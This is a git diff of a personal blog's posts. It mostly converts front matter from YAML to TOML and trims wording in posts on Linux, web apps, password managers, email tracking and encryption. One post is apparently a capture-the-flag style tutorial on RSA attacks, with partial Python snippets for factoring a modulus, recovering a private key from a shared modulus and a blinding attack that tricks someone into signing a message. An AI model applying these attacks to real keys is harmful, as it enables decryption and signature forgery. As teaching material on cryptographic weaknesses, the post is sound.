I've ran regular Ubuntu on my laptop for a while, then switched to Elementary OS, which I found a lot more pleasing to use. After using Elementary OS for about 6 months, some of the software on my computer started behaving strangely, and I decided it was time for some change.
|
||||||
|
|
||||||
`````
|
```
|
||||||
# michael @ arch in ~ [3:20:09]
|
# michael @ arch in ~ [3:20:09]
|
||||||
$ screenfetch
|
$ screenfetch
|
||||||
-`
|
-`
|
||||||
|
@ -33,7 +33,7 @@ $ screenfetch
|
||||||
`++:. `-/+/
|
`++:. `-/+/
|
||||||
.` `/
|
.` `/
|
||||||
|
|
||||||
`````
|
```
|
||||||
|
|
||||||
I installed Arch Linux on my laptop the day before yesterday. I've used Arch Linux before, about a year ago, so setup was relatively familiar. On top of Arch Linux, I'm using the very widely recommended i3 tiling window manager, and urxvt terminal emulator.
|
I installed Arch Linux on my laptop the day before yesterday. I've used Arch Linux before, about a year ago, so setup was relatively familiar. On top of Arch Linux, I'm using the very widely recommended i3 tiling window manager, and urxvt terminal emulator.
|
||||||
|
|
|
@ -1,9 +1,9 @@
|
||||||
---
|
+++
|
||||||
title: "Cleaning up your shell"
|
title = "Cleaning up your shell"
|
||||||
date: 2018-02-25
|
date = 2018-02-25
|
||||||
tags: ["computers", "linux", "terminal"]
|
tags = ["computers", "linux", "terminal"]
|
||||||
languages: ["bash"]
|
languages = ["bash"]
|
||||||
---
|
+++
|
||||||
|
|
||||||
Is your shell loading slower than it used to? Maybe you've been sticking a bit more into your `.bashrc`/`.zshrc` than you thought. <!--more-->
|
Is your shell loading slower than it used to? Maybe you've been sticking a bit more into your `.bashrc`/`.zshrc` than you thought. <!--more-->
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
---
|
+++
|
||||||
title: "Fixing tmux colors"
|
title = "Fixing tmux colors"
|
||||||
date: 2018-04-23
|
date = 2018-04-23
|
||||||
tags: ["computers"]
|
tags = ["computers"]
|
||||||
---
|
+++
|
||||||
|
|
||||||
Put this in your `~/.tmux.conf`.
|
Put this in your `~/.tmux.conf`.
|
||||||
|
|
|
@ -1,9 +1,9 @@
|
||||||
---
|
+++
|
||||||
title: "Web apps"
|
title = "Web apps"
|
||||||
date: 2018-05-28
|
date = 2018-05-28
|
||||||
tags: ["computers", "web", "things-that-are-bad"]
|
tags = ["computers", "web", "things-that-are-bad"]
|
||||||
languages: ["javascript"]
|
languages = ["javascript"]
|
||||||
---
|
+++
|
||||||
|
|
||||||
The other day, I just turned off JavaScript from my browser. <!--more--> "fucking neckbeard", "you'll turn it back in 2 weeks", "living without JavaScript is like living without electricity" were some of the responses I got. And they might be right. But let's see why things are the way they are and what we can do about it.
|
The other day, I just turned off JavaScript from my browser. <!--more--> "fucking neckbeard", "you'll turn it back in 2 weeks", "living without JavaScript is like living without electricity" were some of the responses I got. And they might be right. But let's see why things are the way they are and what we can do about it.
|
||||||
|
|
||||||
|
@ -13,13 +13,13 @@ Well, the answer's pretty obvious, right? So you can surf it. But what does that
|
||||||
|
|
||||||
If you wanted to do anything more complicated or that required more interaction, like sending an email, you'd probably pop open a dedicated client to do it. Things like Microsoft Outlook, Mozilla Thunderbird serve as great email clients. For chat, you could use an IRC client. Hell, even the browser was a client, just for viewing webpages. If you didn't have a client for a service that you wanted to use, you'd download a client, enter in the details of the server you want to connect to, and then you would be off.
|
If you wanted to do anything more complicated or that required more interaction, like sending an email, you'd probably pop open a dedicated client to do it. Things like Microsoft Outlook, Mozilla Thunderbird serve as great email clients. For chat, you could use an IRC client. Hell, even the browser was a client, just for viewing webpages. If you didn't have a client for a service that you wanted to use, you'd download a client, enter in the details of the server you want to connect to, and then you would be off.
|
||||||
|
|
||||||
Things aren't that way anymore. For some reason, the web browser has become the all-in-one client for every service. Instead of simply acting as a HTTP client, your browser is now also capable of running full-blown 3D games, chat rooms, real-time word processors, and [full x86 emulators, apparently](http://copy.sh/v86/). What the hell happened?
|
Things aren't that way anymore. For some reason, the web browser has become the all-in-one client for every service. Instead of acting as a HTTP client, your browser is now also capable of running full-blown 3D games, chat rooms, real-time word processors, and [full x86 emulators, apparently](http://copy.sh/v86/). What the hell happened?
|
||||||
|
|
||||||
## Spoiler alert: Javascript happened
|
## Spoiler alert: Javascript happened
|
||||||
|
|
||||||
JavaScript happened. That little _scripting_ language invented to, you know, make some hover animation on your page or have dropdowns on your menu bar. Thanks to the introduction of JavaScript (and jQuery especially), developers stopped viewing webpages as Word documents that you can share, and more like canvases. Hover animations are cute and dropdowns are useful. Sure. But when this _scripting_ language starts turning into a _systems_ language (for lack of a better term), you have a problem. When's the last time you used Perl to write an operating system?
|
JavaScript happened. That little _scripting_ language invented to, you know, make some hover animation on your page or have dropdowns on your menu bar. Thanks to the introduction of JavaScript (and jQuery especially), developers stopped viewing webpages as Word documents that you can share, and more like canvases. Hover animations are cute and dropdowns are useful. Sure. But when this _scripting_ language starts turning into a _systems_ language (for lack of a better term), you have a problem. When's the last time you used Perl to write an operating system?
|
||||||
|
|
||||||
Look at the things we do today with JavaScript. We have _full blown frameworks_ that we _compile_ into bundles of _executable code_ in people's browsers. We're basically talking about the equivalent of downloading a binary and executing it on your computer every time you open a _webpage_. Except for a few minor differences. Firstly, it's not really a binary, it's a huge blob of script, which means it must be executed inside some virtual interpreter. For each tab that you're running. Secondly, now you're downloading random scripts from any website that you open, and then [trusting it](https://superlogout.com/) and [running it][1]. You wouldn't hesitate to click a link, but you'd definitely think twice before installing something from an unknown source into your computer, right?
|
Look at the things we do today with JavaScript. We have _full blown frameworks_ that we _compile_ into bundles of _executable code_ in people's browsers. We're talking about the equivalent of downloading a binary and executing it on your computer every time you open a _webpage_. Except for a few minor differences. Firstly, it's not really a binary, it's a huge blob of script, which means it must be executed inside some virtual interpreter. For each tab that you're running. Secondly, now you're downloading random scripts from any website that you open, and then [trusting it](https://superlogout.com/) and [running it][1]. You wouldn't hesitate to click a link, but you'd definitely think twice before installing something from an unknown source into your computer, right?
|
||||||
|
|
||||||
On top of that, look at these huge frameworks that almost every company is hiring developers for: React, Angular, Vue. These frameworks help JavaScript developers develop "web apps", meaning your JavaScript is now responsible for things the browser should actually be doing for you: two-way data binding, template rendering, and more. Except now, you're downloading a script and running it inside of a virtual interpreter. And because of technologies like Webpack that bundles all your separate code files together (read: static linking), our browsers can't even use the same framework code from site to site.
|
On top of that, look at these huge frameworks that almost every company is hiring developers for: React, Angular, Vue. These frameworks help JavaScript developers develop "web apps", meaning your JavaScript is now responsible for things the browser should actually be doing for you: two-way data binding, template rendering, and more. Except now, you're downloading a script and running it inside of a virtual interpreter. And because of technologies like Webpack that bundles all your separate code files together (read: static linking), our browsers can't even use the same framework code from site to site.
|
||||||
|
|
|
@ -1,8 +1,9 @@
|
||||||
---
|
+++
|
||||||
title: "Setting up IRC with Weechat"
|
title = "Setting up IRC with Weechat"
|
||||||
date: 2018-10-18
|
date = 2018-10-18
|
||||||
tags: ["irc"]
|
|
||||||
---
|
tags = ["irc"]
|
||||||
|
+++
|
||||||
|
|
||||||
I've just recently discovered that weechat has a "relay" mode, which means it can act as a relay server to other clients (for example, my phone). If I leave an instance of weechat running on, say, my server that's always running, it can act as a bouncer and my phone can receive notifications for highlights as well.
|
I've just recently discovered that weechat has a "relay" mode, which means it can act as a relay server to other clients (for example, my phone). If I leave an instance of weechat running on, say, my server that's always running, it can act as a bouncer and my phone can receive notifications for highlights as well.
|
||||||
|
|
|
@ -1,11 +1,11 @@
|
||||||
---
|
+++
|
||||||
title: "Twenty years of attacks on rsa with examples"
|
title = "Twenty years of attacks on rsa with examples"
|
||||||
date: 2018-10-26
|
date = 2018-10-26
|
||||||
toc: true
|
toc = true
|
||||||
tags: ["ctf", "crypto", "rsa"]
|
tags = ["ctf", "crypto", "rsa"]
|
||||||
languages: ["python"]
|
languages = ["python"]
|
||||||
math: true
|
math = true
|
||||||
---
|
+++
|
||||||
|
|
||||||
There's [a great paper][1] I found by Dan Boneh from 1998 highlighting the
|
There's [a great paper][1] I found by Dan Boneh from 1998 highlighting the
|
||||||
weaknesses of the RSA cryptosystem. I found this paper to be a particularly
|
weaknesses of the RSA cryptosystem. I found this paper to be a particularly
|
||||||
|
@ -18,11 +18,11 @@ cryptosystem works, since there's already a great number of resources on that.
|
||||||
|
|
||||||
## Factoring large integers
|
## Factoring large integers
|
||||||
|
|
||||||
Obviously this is a pretty bruteforce-ish way to crack the cryptosystem, and
|
This is a pretty bruteforce-ish way to crack the cryptosystem, and probably
|
||||||
probably won't work in time for you to see the result, but can still be
|
won't work in time for you to see the result, but can still be considered an
|
||||||
considered an attack vector. This trick works by just factoring the modulus,
|
attack vector. This trick works by just factoring the modulus, $N$. With $N$,
|
||||||
$N$. With $N$, finding the private exponent $d$ from the public exponent $e$ is
|
finding the private exponent $d$ from the public exponent $e$ is a piece of
|
||||||
a piece of cake.
|
cake.
|
||||||
|
|
||||||
Let's choose some small numbers to demonstrate this one (you can follow along in
|
Let's choose some small numbers to demonstrate this one (you can follow along in
|
||||||
a Python REPL if you want):
|
a Python REPL if you want):
|
||||||
|
@ -33,7 +33,7 @@ a Python REPL if you want):
|
||||||
>>> c = 875978376
|
>>> c = 875978376
|
||||||
```
|
```
|
||||||
|
|
||||||
$N$ is clearly factorable in this case, and we can use resources like
|
$N$ is more easily factorable in this case, and we can use resources like
|
||||||
[msieve][7] or [factordb][2] to find smaller primes in this case. Since we know
|
[msieve][7] or [factordb][2] to find smaller primes in this case. Since we know
|
||||||
now that $N = 20717 \times 42557$, we can find the totient of $N$:
|
now that $N = 20717 \times 42557$, we can find the totient of $N$:
|
||||||
|
|
||||||
|
@ -70,8 +70,8 @@ pairs would be issued to different users and they would share public keys with
|
||||||
each other and keep private keys to themselves.
|
each other and keep private keys to themselves.
|
||||||
|
|
||||||
The problem here is if you have a key pair, and you got someone else's public
|
The problem here is if you have a key pair, and you got someone else's public
|
||||||
key, you could easily derive the private key by just factoring the modulus.
|
key, you could easily derive the private key by factoring the modulus. Let's see
|
||||||
Let's see how this works with a real example now.
|
how this works with a real example now.
|
||||||
|
|
||||||
Since this is a big problem if you were to really use this cryptosystem, I'll be
|
Since this is a big problem if you were to really use this cryptosystem, I'll be
|
||||||
using actual keys from an actual crypto library instead of the small numbers
|
using actual keys from an actual crypto library instead of the small numbers
|
||||||
|
@ -128,9 +128,9 @@ It turns out that $k$ is extremely close to $\frac{ed}{N}$:
|
||||||
|
|
||||||
$$ \frac{ed}{N} = \frac{1 + k\phi(N)}{N} = \frac{1}{N} + \frac{k\phi(N)}{N} $$
|
$$ \frac{ed}{N} = \frac{1 + k\phi(N)}{N} = \frac{1}{N} + \frac{k\phi(N)}{N} $$
|
||||||
|
|
||||||
$\frac{1}{N}$ is basically 0, and $\phi(N)$ is very close to $N$, so it
|
At this scale, we can treat $\frac{1}{N}$ as if it was 0, and $\phi(N)$ is very
|
||||||
shouldn't change the value of $k$ by very much. We now use $\frac{ed}{N}$ to
|
close to $N$, so it shouldn't change the value of $k$ by very much. We now use
|
||||||
estimate $k$:
|
$\frac{ed}{N}$ to estimate $k$:
|
||||||
|
|
||||||
$$ \phi(N) = \frac{ed - 1}{\frac{ed}{N}} $$
|
$$ \phi(N) = \frac{ed - 1}{\frac{ed}{N}} $$
|
||||||
|
|
||||||
|
@ -184,10 +184,10 @@ you to sign this with your private key." Let's generate Bob's private key:
|
||||||
>>> M = b"I (Bob) owes Marvin $100,000 USD"
|
>>> M = b"I (Bob) owes Marvin $100,000 USD"
|
||||||
```
|
```
|
||||||
|
|
||||||
Obviously, Bob, an intellectual, will refuse to sign the message. However,
|
Bob, begin an intellectual, will refuse to sign the message. So now suppose
|
||||||
suppose Marvin now transforms his message into a more innocent looking one. He
|
Marvin now transforms his message into a more innocent looking one. He does this
|
||||||
does this by turning $M$ into $M' = r^eM \mod N$ where r is an integer that's
|
by turning $M$ into $M' = r^eM \mod N$ where r is an integer that's coprime to
|
||||||
coprime to $N$:
|
$N$:
|
||||||
|
|
||||||
```py
|
```py
|
||||||
>>> from random import randint
|
>>> from random import randint
|
||||||
|
@ -201,14 +201,12 @@ Now he asks Bob to sign this more... innocently-looking message. Without
|
||||||
questioning, Bob, an intellectual, signs his life away. Let's say he produces a
|
questioning, Bob, an intellectual, signs his life away. Let's say he produces a
|
||||||
signature
|
signature
|
||||||
|
|
||||||
$$
|
$$\begin{aligned}
|
||||||
\begin{aligned}
|
|
||||||
S' &= (M'^d) \\\
|
S' &= (M'^d) \\\
|
||||||
&= (r^e * M)^d \\\
|
&= (r^e * M)^d \\\
|
||||||
&= r^{ed} * M^d \\\
|
&= r^{ed} * M^d \\\
|
||||||
&= r * M^d \mod N
|
&= r * M^d \mod N
|
||||||
\end{aligned}
|
\end{aligned}$$
|
||||||
$$
|
|
||||||
|
|
||||||
```py
|
```py
|
||||||
>>> Sp, = bob.sign(Mp, 0)
|
>>> Sp, = bob.sign(Mp, 0)
|
|
@ -1,13 +1,13 @@
|
||||||
---
|
+++
|
||||||
title: "Magic forms with proc macros: Ideas"
|
title = "Magic forms with proc macros: Ideas"
|
||||||
date: 2019-02-01
|
date = 2019-02-01
|
||||||
tags: ["computers", "web"]
|
tags = ["computers", "web"]
|
||||||
languages: ["rust"]
|
languages = ["rust"]
|
||||||
---
|
+++
|
||||||
|
|
||||||
Procedural macros (proc macros for short) in Rust are incredible because they allow arbitrary pre-compile source transformation, which leads to endless possibilities (and hazards!). But if we take careful advantage of this feature, we can use it to make clean abstractions for messy boilerplate, especially in the case of web forms. <!--more-->
|
Procedural macros (proc macros for short) in Rust are incredible because they allow arbitrary pre-compile source transformation, which leads to endless possibilities (and hazards!). But if we take careful advantage of this feature, we can use it to make clean abstractions for messy boilerplate, especially in the case of web forms. <!--more-->
|
||||||
|
|
||||||
In fact, proc macros are incredibly pervasive around Rust's ecosystem. For example, using the [`serde`][1] serialization/deserialization crate, you can simply write:
|
In fact, proc macros are incredibly pervasive around Rust's ecosystem. For example, using the [`serde`][1] serialization/deserialization crate, you can write:
|
||||||
|
|
||||||
```rs
|
```rs
|
||||||
#[derive(Serialize)]
|
#[derive(Serialize)]
|
||||||
|
@ -60,7 +60,7 @@ name: String,
|
||||||
This should generate the following HTML:
|
This should generate the following HTML:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<input type="text" name="name" autocomplete="off" />
|
<input type="text" name="name" autocomplete=off />
|
||||||
```
|
```
|
||||||
|
|
||||||
I realize this is probably not very flexible, since you'd really only be able to use this form in a specific context. But in reality, how much do you really lose by redefining that form?
|
I realize this is probably not very flexible, since you'd really only be able to use this form in a specific context. But in reality, how much do you really lose by redefining that form?
|
||||||
|
@ -85,6 +85,6 @@ then calling something like `instance.verify()` should run all those validators
|
||||||
|
|
||||||
## Conclusion
|
## Conclusion
|
||||||
|
|
||||||
This project is a work in progress! You can see how far I am [on Github](https://github.com/mzhang28/wtforms).
|
This project is a work in progress! You can see how far I am [on Github](https://github.com/iptq/wtforms).
|
||||||
|
|
||||||
[1]: https://docs.rs/serde
|
[1]: https://docs.rs/serde
|
|
@ -1,8 +1,8 @@
|
||||||
---
|
+++
|
||||||
title: "Accept server analogy"
|
title = "Accept server analogy"
|
||||||
date: 2019-03-04
|
date = 2019-03-04
|
||||||
tags: ["computers"]
|
tags = ["computers"]
|
||||||
---
|
+++
|
||||||
|
|
||||||
This is just a stupid analogy I thought of recently, but decided to write about it anyway.
|
This is just a stupid analogy I thought of recently, but decided to write about it anyway.
|
||||||
|
|
|
@ -1,20 +1,22 @@
|
||||||
---
|
+++
|
||||||
title: "Password managers"
|
title = "Password managers"
|
||||||
date: 2020-04-01
|
date = 2020-04-01
|
||||||
tags: ["computers", "things-that-are-good", "privacy"]
|
tags = ["computers", "things-that-are-good", "privacy"]
|
||||||
---
|
+++
|
||||||
|
|
||||||
Password managers are programs that store passwords for you. With the number of accounts you keep on the web, you generally don't want to store all of them in your head. If you want to see articles on why you should use a password manager NOW, search "reasons to use a password manager" online and any of the articles you find should explain it. Here I'll add some more commentary on top of the traditional arguments.
|
Password managers are programs that store passwords for you. With the number of accounts you keep on the web, you generally don't want to store all of them in your head. If you want to see articles on why you should use a password manager NOW, search "reasons to use a password manager" online and any of the articles you find should explain it. Here I'll add some more commentary on top of the traditional arguments.
|
||||||
|
|
||||||
<!-- more -->
|
<!-- more -->
|
||||||
|
|
||||||
## Don't tick the "Remember master password box" no matter what
|
Don't tick the "Remember master password box" no matter what
|
||||||
|
---
|
||||||
|
|
||||||
How well you remember a password depends on how much you use it. If you open an account, make a password, and stay signed in for a year without ever having to re-login, you'll naturally forget the password. Same deal with password managers; the problem has just been moved another step.
|
How well you remember a password depends on how much you use it. If you open an account, make a password, and stay signed in for a year without ever having to re-login, you'll naturally forget the password. Same deal with password managers; the problem has just been moved another step.
|
||||||
|
|
||||||
The power of a password manager comes from you continually entering in the same password over and over in order to unlock your other accounts.
|
The power of a password manager comes from you continually entering in the same password over and over in order to unlock your other accounts.
|
||||||
|
|
||||||
## Password managers are good for a lot more than passwords
|
Password managers are good for a lot more than passwords
|
||||||
|
---
|
||||||
|
|
||||||
If you're willing to put sensitive passwords into your password manager, it should be a perfect place to put information that you'd want to avoid writing down in plaintext but want to access easily. This might include:
|
If you're willing to put sensitive passwords into your password manager, it should be a perfect place to put information that you'd want to avoid writing down in plaintext but want to access easily. This might include:
|
||||||
|
|
||||||
|
@ -23,7 +25,8 @@ If you're willing to put sensitive passwords into your password manager, it shou
|
||||||
- Your car's license plate number
|
- Your car's license plate number
|
||||||
- Answers to security questions, which leads into the next point:
|
- Answers to security questions, which leads into the next point:
|
||||||
|
|
||||||
## Treat your security questions as passwords
|
Treat your security questions as passwords
|
||||||
|
---
|
||||||
|
|
||||||
Save these in your password manager! "Security" questions are probably the worst idea for security and are more likely to weaken the security of your account than strengthen it. They have multiple fatal flaws (assuming you use security questions truthfully):
|
Save these in your password manager! "Security" questions are probably the worst idea for security and are more likely to weaken the security of your account than strengthen it. They have multiple fatal flaws (assuming you use security questions truthfully):
|
||||||
|
|
||||||
|
@ -33,7 +36,8 @@ Save these in your password manager! "Security" questions are probably the worst
|
||||||
|
|
||||||
Instead, just treat them as another password! Go into your password manager, generate the longest possible random password that fits into the box, and save it. Since you can give a name to the password, there's no worry of forgetting it or losing it, since it'll be stored among the vault of other passwords that you're hopefully using every day.
|
Instead, just treat them as another password! Go into your password manager, generate the longest possible random password that fits into the box, and save it. Since you can give a name to the password, there's no worry of forgetting it or losing it, since it'll be stored among the vault of other passwords that you're hopefully using every day.
|
||||||
|
|
||||||
## Don't trust extensions that fill in your password automatically
|
Don't trust extensions that fill in your password automatically
|
||||||
|
---
|
||||||
|
|
||||||
Some password managers, like LastPass, have browser extensions that automatically fill in password boxes when you open the page.
|
Some password managers, like LastPass, have browser extensions that automatically fill in password boxes when you open the page.
|
||||||
|
|
|
@ -1,14 +1,14 @@
|
||||||
---
|
+++
|
||||||
title: "Tracking links in email"
|
title = "Tracking links in email"
|
||||||
date: 2021-06-17
|
date = 2021-06-17
|
||||||
tags: ["email", "computers", "things-that-are-bad", "privacy"]
|
tags = ["email", "computers", "things-that-are-bad", "privacy"]
|
||||||
---
|
+++
|
||||||
|
|
||||||
You probably get emails every day, and spend a lot of time reading them. And
|
You probably get emails every day, and spend a lot of time reading them. And
|
||||||
whenever someone performs an action or does something in vast quantities, you
|
whenever someone performs an action or does something in vast quantities, you
|
||||||
_bet_ the data giants have figured out a way to capitalize on it. For many
|
_bet_ the data giants have figured out a way to capitalize on it. For many years
|
||||||
years consumer privacy has basically gone unnoticed, and invasive tracking has
|
consumer privacy has gone unnoticed, and invasive tracking has grown [viral][1].
|
||||||
grown [viral][1]. <!--more-->
|
<!--more-->
|
||||||
|
|
||||||
Arguably, if you are someone who runs a business off of writing periodic
|
Arguably, if you are someone who runs a business off of writing periodic
|
||||||
newsletters that are distributed via email, you might want some statistics on
|
newsletters that are distributed via email, you might want some statistics on
|
||||||
|
@ -49,18 +49,18 @@ making a request to that server, giving up information about the time, place,
|
||||||
client, OS, and all sorts of other information that greedy data collection
|
client, OS, and all sorts of other information that greedy data collection
|
||||||
companies are waiting to snatch up.
|
companies are waiting to snatch up.
|
||||||
|
|
||||||
Of course, regular users notice nothing: these links are usually hidden behind
|
Regular users notice nothing: these links are usually hidden behind buttons,
|
||||||
buttons, text, or even the original URL itself. Once they click it, the website
|
text, or even the original URL itself. Once they click it, the website silently
|
||||||
silently logs all the data it receives about the user, and then redirects the
|
logs all the data it receives about the user, and then redirects the user to the
|
||||||
user to the original destination.
|
original destination.
|
||||||
|
|
||||||
The senders usually aren't at fault either. Sending email is tricky, with all
|
The senders usually aren't at fault either. Sending email is tricky, with all
|
||||||
the infrastructure set up to block out spam, so the majority of people who send
|
the infrastructure set up to block out spam, so the majority of people who send
|
||||||
bulk mail (newsletters, websites that need to confirm your email, etc.) all go
|
bulk mail (newsletters, websites that need to confirm your email, etc.) all go
|
||||||
through companies that handle this for them. Of course, being the middlemen who
|
through companies that handle this for them. Being the middlemen who actually
|
||||||
actually get the mail out the door, they're free to replace the links with
|
get the mail out the door, they're free to replace the links with whatever they
|
||||||
whatever they want, and many of these companies advertise it as a feature to
|
want, and many of these companies advertise it as a feature to get more
|
||||||
get more "insight" into how your emails are doing.
|
"insight" into how your emails are doing.
|
||||||
|
|
||||||
Even worse, the original senders aren't the only ones getting the info, either.
|
Even worse, the original senders aren't the only ones getting the info, either.
|
||||||
These middlemen could hold on to the data and there's no saying they can't use
|
These middlemen could hold on to the data and there's no saying they can't use
|
|
@ -1,11 +1,11 @@
|
||||||
---
|
+++
|
||||||
title: "Sending https requests from scratch"
|
title = "Sending https requests from scratch"
|
||||||
date: 2021-07-05
|
date = 2021-07-05
|
||||||
draft: true
|
draft = true
|
||||||
toc: true
|
toc = true
|
||||||
tags: ["computers", "web", "crypto"]
|
tags = ["computers", "web", "crypto"]
|
||||||
languages: ["python"]
|
languages = ["python"]
|
||||||
---
|
+++
|
||||||
|
|
||||||
Every now and then, I return to this age-old question of _exactly_ how hard would it be to write a web browser from scratch? I hear some interviewers ask their candidates to describe the process your browser takes to actually put a webpage on your screen, but no doubt that's a simplification of a process from 20 years ago. <!--more-->
|
Every now and then, I return to this age-old question of _exactly_ how hard would it be to write a web browser from scratch? I hear some interviewers ask their candidates to describe the process your browser takes to actually put a webpage on your screen, but no doubt that's a simplification of a process from 20 years ago. <!--more-->
|
||||||
|
|
||||||
|
@ -28,7 +28,7 @@ With that out of the way, let's jump in!
|
||||||
|
|
||||||
## URL Parsing
|
## URL Parsing
|
||||||
|
|
||||||
This part is basically just a chore. URLs are defined in [RFC 3986][1], but we'll cheat a bit and just get the important parts we want for sending a request. First, I'll write out a regex for actually matching the parts we want:
|
This part is just a chore. URLs are defined in [RFC 3986][1], but we'll cheat a bit and just get the important parts we want for sending a request. First, I'll write out a regex for actually matching the parts we want:
|
||||||
|
|
||||||
```py
|
```py
|
||||||
import re
|
import re
|
||||||
|
@ -96,7 +96,7 @@ def wrap_handshake(htype, hdata):
|
||||||
|
|
||||||
### Client Hello
|
### Client Hello
|
||||||
|
|
||||||
TLS starts with the client sending a `ClientHello` message (defined in section 4.1.2 of the RFC), which basically starts the handshake off with some basic details about what the client can do. Now's probably a good time to decide on some basics, like which ciphers we'll be using to communicate.
|
TLS starts with the client sending a `ClientHello` message (defined in section 4.1.2 of the RFC), which starts the handshake off with some basic details about what the client can do. Now's probably a good time to decide on some basics, like which ciphers we'll be using to communicate.
|
||||||
|
|
||||||
#### Cipher Suite
|
#### Cipher Suite
|
||||||
|
|
||||||
|
@ -299,9 +299,9 @@ Piece of cake.
|
||||||
Let's walk through each of the ciphers and algorithms we're going to need one more time:
|
Let's walk through each of the ciphers and algorithms we're going to need one more time:
|
||||||
|
|
||||||
- `ecdsa_secp256r1_sha256`
|
- `ecdsa_secp256r1_sha256`
|
||||||
- ECDSA is the elliptical-curve signature algorithm; basically it can sign some information using the elliptical-curve private key, and anyone can verify using the corresponding public key that the person who owns the key has created that signature.
|
+ ECDSA is the elliptical-curve signature algorithm; it can sign some information using the elliptical-curve private key, and anyone can verify using the corresponding public key that the person who owns the key has created that signature.
|
||||||
- secp256r1 just gives the name of a set of established parameters for a curve.
|
+ secp256r1 just gives the name of a set of established parameters for a curve.
|
||||||
- SHA256 is a hashing algorithm, which creates a unique fingerprint of a piece of information that can't be reversed back to the original. Python's `hashlib` library provides this function for us, so we don't have to implement it ourselves.
|
+ SHA256 is a hashing algorithm, which creates a unique fingerprint of a piece of information that can't be reversed back to the original. Python's `hashlib` library provides this function for us, so we don't have to implement it ourselves.
|
||||||
|
|
||||||
#### Naive Elliptical Curve Implementation
|
#### Naive Elliptical Curve Implementation
|
||||||
|
|
||||||
|
@ -395,6 +395,8 @@ def client_hello_extensions(hostname: str):
|
||||||
|
|
||||||
## `request`-like API
|
## `request`-like API
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## Conclusion
|
## Conclusion
|
||||||
|
|
||||||
What did we learn? Don't do this shit yourself, it's not worth it. We'll probably be on HTTP3 within the next year. Just import `requests` and be done with it.
|
What did we learn? Don't do this shit yourself, it's not worth it. We'll probably be on HTTP3 within the next year. Just import `requests` and be done with it.
|
|
@ -1,22 +1,21 @@
|
||||||
---
|
+++
|
||||||
title: "End-to-end encryption is useless without client freedom"
|
title = "End-to-end encryption is useless without client freedom"
|
||||||
date: 2021-10-31
|
date = 2021-10-31
|
||||||
tags: ["computers", "privacy"]
|
tags = ["computers", "privacy"]
|
||||||
---
|
+++
|
||||||
|
|
||||||
Today, many companies claim to provide "end-to-end encryption" of user data,
|
Today, many companies claim to provide "end-to-end encryption" of user data,
|
||||||
whether it be text messages, saved pictures, or important documents. But what
|
whether it be text messages, saved pictures, or important documents. But what
|
||||||
does this actually mean for your data? I'll explain what "non-end-to-end"
|
does this actually mean for your data? I'll explain what "non-end-to-end"
|
||||||
encryption is, why end-to-end encryption is important, and also when it might
|
encryption is, why end-to-end encryption is important, and also when it might
|
||||||
be absolutely meaningless.
|
be absolutely meaningless.<!--more-->
|
||||||
|
|
||||||
<!--more-->
|
|
||||||
|
|
||||||
> If you just want to read about end-to-end encryption, click [here][1].
|
> If you just want to read about end-to-end encryption, click [here][1].
|
||||||
> Otherwise, I'll start the story all the way back to how computers talk to
|
> Otherwise, I'll start the story all the way back to how computers talk to
|
||||||
> each other.
|
> each other.
|
||||||
|
|
||||||
## A game of telephone in a noisy room
|
A game of telephone in a noisy room
|
||||||
|
---
|
||||||
|
|
||||||
Computer networks essentially operate like a bunch of people yelling at each
|
Computer networks essentially operate like a bunch of people yelling at each
|
||||||
other at a public gathering, where everyone is kind of hearing everyone else's
|
other at a public gathering, where everyone is kind of hearing everyone else's
|
||||||
|
@ -35,7 +34,8 @@ the first place. But in order for the middlemen to pass on the message, they'd
|
||||||
have to hear the message, so now my lunch has become a public gathering known to
|
have to hear the message, so now my lunch has become a public gathering known to
|
||||||
everyone who's heard or passed on the message.
|
everyone who's heard or passed on the message.
|
||||||
|
|
||||||
## Encryption saves the day
|
Encryption saves the day
|
||||||
|
---
|
||||||
|
|
||||||
That's where **encryption** comes in. Encryption lets me change the message to
|
That's where **encryption** comes in. Encryption lets me change the message to
|
||||||
something that the middlemen and everyone else listening on the network can't
|
something that the middlemen and everyone else listening on the network can't
|
||||||
|
@ -62,7 +62,8 @@ encryption to make sure no one steals my identity while I'm sending it, and
|
||||||
encryption _at rest_ to make sure someone breaking into Google won't be able to
|
encryption _at rest_ to make sure someone breaking into Google won't be able to
|
||||||
just pull the hard drive out and read the files off it.
|
just pull the hard drive out and read the files off it.
|
||||||
|
|
||||||
## Two halves don't equal a whole
|
Two halves don't equal a whole
|
||||||
|
---
|
||||||
|
|
||||||
It turns out just putting together these two types of encryption isn't enough.
|
It turns out just putting together these two types of encryption isn't enough.
|
||||||
There's someone else we haven't protected ourselves against in this case, which
|
There's someone else we haven't protected ourselves against in this case, which
|
||||||
|
@ -78,9 +79,8 @@ expect, and many industries have laws like [HIPAA][hipaa] and [FERPA][ferpa] to
|
||||||
make sure the people handling your data don't leak it.
|
make sure the people handling your data don't leak it.
|
||||||
|
|
||||||
But we don't have to just _trust_ them on that, because we already _know_ how
|
But we don't have to just _trust_ them on that, because we already _know_ how
|
||||||
to protect data from middlemen who are simply taking a message and sending it
|
to protect data from middlemen who are taking a message and sending it somewhere
|
||||||
somewhere else unchanged, like the ISPs from our networks. We just need _more_
|
else unchanged, like the ISPs from our networks. We just need _more_ encryption!
|
||||||
encryption!
|
|
||||||
|
|
||||||
**End-to-end encryption** is just encrypting the data in a way that the only
|
**End-to-end encryption** is just encrypting the data in a way that the only
|
||||||
parties allowed to read the data are the people it was intended for. Password
|
parties allowed to read the data are the people it was intended for. Password
|
||||||
|
@ -91,7 +91,8 @@ then decrypts it offline. [Signal][signal] famously provides end-to-end
|
||||||
encrypted chat, so that no one, not even the government[^1], will be able to
|
encrypted chat, so that no one, not even the government[^1], will be able to
|
||||||
read the messages you send if they're not the intended recipient.
|
read the messages you send if they're not the intended recipient.
|
||||||
|
|
||||||
## It's still not enough
|
It's still not enough {#not-enough}
|
||||||
|
---
|
||||||
|
|
||||||
End-to-end encryption seems like it should be the end of the story, but if
|
End-to-end encryption seems like it should be the end of the story, but if
|
||||||
there's one thing that can undermine the encryption, it's the program that's
|
there's one thing that can undermine the encryption, it's the program that's
|
||||||
|
@ -139,7 +140,8 @@ run services is insufficient, it's safe to say that trusting companies to make
|
||||||
client software that act in the interest of their users is just as useless as
|
client software that act in the interest of their users is just as useless as
|
||||||
trusting companies to make services that act in the interest of their users.
|
trusting companies to make services that act in the interest of their users.
|
||||||
|
|
||||||
## What can i do?
|
What can i do?
|
||||||
|
---
|
||||||
|
|
||||||
